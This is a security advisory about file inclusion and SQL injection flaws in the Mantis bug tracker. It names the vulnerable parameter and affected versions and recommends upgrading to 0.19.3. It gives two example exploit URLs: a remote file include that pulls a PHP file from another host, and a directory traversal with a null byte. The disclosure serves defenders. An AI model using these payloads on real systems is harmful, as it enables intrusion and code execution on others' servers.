TITLE:
Mantis File Inclusion and SQL Injection Vulnerabilities

SECUNIA ADVISORY ID:
SA16818

VERIFY ADVISORY:
http://secunia.com/advisories/16818/

CRITICAL:
Highly critical

IMPACT:
Manipulation of data, System access

WHERE:
>From remote

SOFTWARE:
Mantis 1.x
http://secunia.com/product/5571/
Mantis 0.x
http://secunia.com/product/2608/

DESCRIPTION:
Some vulnerabilities have been reported in Mantis, which can be
exploited by malicious people to conduct SQL injection attacks and
compromise a vulnerable system.

1) Input passed to the "t_core_path" parameter in
"bug_sponsorship_list_view_inc.php" isn't properly verified, before
it used to include files. This can be exploited to include arbitrary
files from external and local resources.

Examples:
http://[host]/bug_sponsorship_list_view_inc.php?t_core_path=http://[host]/[file].php?
http://[host]/bug_sponsorship_list_view_inc.php?t_core_path=../../../../../../../[file]%00

Successful exploitation requires that "register_globals" is enabled
(not recommended setting).

The vulnerability has been confirmed in versions 0.19.2 and 1.0.0rc2.
Other versions may also be affected.

2) Some unspecified input isn't properly sanitised before being used
in a SQL query. This can be exploited to manipulate SQL queries by
injecting arbitrary SQL code.

SOLUTION:
Update to version 0.19.3.
http://sourceforge.net/project/showfiles.php?group_id=14963

PROVIDED AND/OR DISCOVERED BY:
